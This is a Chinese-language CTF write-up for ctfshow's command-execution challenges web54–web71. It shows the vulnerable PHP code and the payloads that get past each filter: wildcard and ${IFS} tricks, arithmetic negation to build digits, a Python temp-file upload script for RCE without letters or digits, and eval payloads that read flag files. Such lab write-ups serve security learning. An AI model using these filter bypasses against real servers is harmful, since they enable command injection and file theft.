[ctfshow]web入门——命令执行(web54-web71)

system过滤

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

利用通配符?
paload

/?c=rev${IFS}fl?g.php
/?c=/bin/?at${IFS}f???????

在这里插入图片描述
在这里插入图片描述

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload
/bin/base64 flag.php

/?c=/???/????64 ????????

还可以用上传临时文件的方法,见下一题

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|[0-9]|\$|(|{|'|"|`|%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无数字字母的rce,上传临时文件,原理:link
py脚本:

import requests
url="http://63212fe8-01b7-4867-ab04-458e8e1a39fb.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
for i in range(1000):
	response=requests.post(url,files=files)
	html = response.text
	print(html)

在这里插入图片描述

files={'file':'cat flag.php'}

在这里插入图片描述

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|%|x09|x26|x0a|>|<|.|,|?|*|-|=|[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

payload

/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

https://blog.csdn.net/qq_46091464/article/details/108563368
在这里插入图片描述

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

在这里插入图片描述

disabled function绕过

web58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=var_dump(scandir('.'));
c=var_dump(file_get_contents('flag.php'));

在这里插入图片描述
在这里插入图片描述

web59

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

c=var_dump(scandir('.'));
c=highlight_file('flag.php');

在这里插入图片描述

web60

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload同上
在这里插入图片描述

web61

在这里插入图片描述

web62

在这里插入图片描述

web63

在这里插入图片描述

web64

在这里插入图片描述
绷不住了

web65

在这里插入图片描述

wbe66

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

payload

c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');

在这里插入图片描述
在这里插入图片描述

web67

在这里插入图片描述

web68

笑死我了,源码都不给了
在这里插入图片描述
还可以包含读

c=include('/flag.txt');

在这里插入图片描述

web69

在这里插入图片描述

web70

在这里插入图片描述

在这里插入图片描述

web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

执行php代码让后面的匹配缓冲区不执行直接退出
payload:

c=include('/flag.txt');exit();

在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>